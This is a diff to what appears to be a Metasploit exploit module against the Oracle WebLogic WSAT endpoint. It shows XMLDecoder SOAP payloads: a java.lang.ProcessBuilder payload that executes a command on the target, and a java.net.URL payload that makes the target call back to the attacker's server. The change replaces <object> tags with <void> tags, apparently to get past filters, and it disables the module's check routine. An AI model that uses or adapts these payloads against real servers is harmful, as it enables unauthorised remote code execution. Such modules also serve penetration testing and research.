@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
- include Msf ::Exploit ::Remote ::HttpServer
10
+ # include Msf::Exploit::Remote::HttpServer
11
11
12
12
def initialize ( info = { } )
13
13
super (
@@ -55,7 +55,7 @@ def initialize(info = {})
55
55
OptString . new ( 'TARGETURI' , [ true , 'The base path to the WebLogic WSAT endpoint' , '/wls-wsat/CoordinatorPortType' ] ) ,
56
56
OptPort . new ( 'RPORT' , [ true , "The remote port that the WebLogic WSAT endpoint listens on" , 7001 ] ) ,
57
57
OptFloat . new ( 'TIMEOUT' , [ true , "The timeout value of requests to RHOST" , 20.0 ] ) ,
58
- OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the check payload' , 10 ] )
58
+ # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
59
59
] )
60
60
end
61
61
@@ -85,7 +85,7 @@ def exploit_process_builder_payload
85
85
<soapenv:Header>
86
86
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
87
87
<java>
88
- <object class="java.lang.ProcessBuilder">
88
+ <void class="java.lang.ProcessBuilder">
89
89
<array class="java.lang.String" length="3" >
90
90
<void index="0">
91
91
<string>#{ cmd_base } </string>
@@ -98,7 +98,7 @@ def exploit_process_builder_payload
98
98
</void>
99
99
</array>
100
100
<void method="start"/>
101
- </object >
101
+ </void >
102
102
</java>
103
103
</work:WorkContext>
104
104
</soapenv:Header>
@@ -115,12 +115,12 @@ def check_process_builder_payload
115
115
<soapenv:Header>
116
116
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
117
117
<java version="1.8" class="java.beans.XMLDecoder">
118
- <object id="url" class="java.net.URL">
118
+ <void id="url" class="java.net.URL">
119
119
<string>#{ get_uri . encode ( xml : :text ) } </string>
120
- </object >
121
- <object idref="url">
120
+ </void >
121
+ <void idref="url">
122
122
<void id="stream" method = "openStream" />
123
- </object >
123
+ </void >
124
124
</java>
125
125
</work:WorkContext>
126
126
</soapenv:Header>
@@ -145,32 +145,35 @@ def on_request_uri(cli, request)
145
145
# the response from. This is based off of the exploit technique from
146
146
# exploits/windows/novell/netiq_pum_eval.rb
147
147
#
148
- def check
149
- start_service
150
-
151
- print_status ( 'Sending the check payload...' )
152
- res = send_request_cgi ( {
153
- 'method' => 'POST' ,
154
- 'uri' => normalize_uri ( target_uri . path ) ,
155
- 'data' => check_process_builder_payload ,
156
- 'ctype' => 'text/xml;charset=UTF-8'
157
- } , datastore [ 'TIMEOUT' ] )
158
-
159
- print_status ( "Waiting #{ datastore [ 'HTTP_DELAY' ] } seconds to see if the target requests our URI..." )
160
-
161
- waited = 0
162
- until @received_request
163
- sleep 1
164
- waited += 1
165
- if waited > datastore [ 'HTTP_DELAY' ]
166
- stop_service
167
- return Exploit ::CheckCode ::Safe
168
- end
169
- end
170
-
171
- stop_service
172
- return Exploit ::CheckCode ::Vulnerable
173
- end
148
+ # This doesn't work as is because MSF cannot mix HttpServer and HttpClient
149
+ # at the time of authoring this
150
+ #
151
+ # def check
152
+ # start_service
153
+ #
154
+ # print_status('Sending the check payload...')
155
+ # res = send_request_cgi({
156
+ # 'method' => 'POST',
157
+ # 'uri' => normalize_uri(target_uri.path),
158
+ # 'data' => check_process_builder_payload,
159
+ # 'ctype' => 'text/xml;charset=UTF-8'
160
+ # }, datastore['TIMEOUT'])
161
+ #
162
+ # print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
163
+ #
164
+ # waited = 0
165
+ # until @received_request
166
+ # sleep 1
167
+ # waited += 1
168
+ # if waited > datastore['HTTP_DELAY']
169
+ # stop_service
170
+ # return Exploit::CheckCode::Safe
171
+ # end
172
+ # end
173
+ #
174
+ # stop_service
175
+ # return Exploit::CheckCode::Vulnerable
176
+ # end
174
177
175
178
#
176
179
# The exploit method connects to the remote service and sends the specified payload
0 commit comments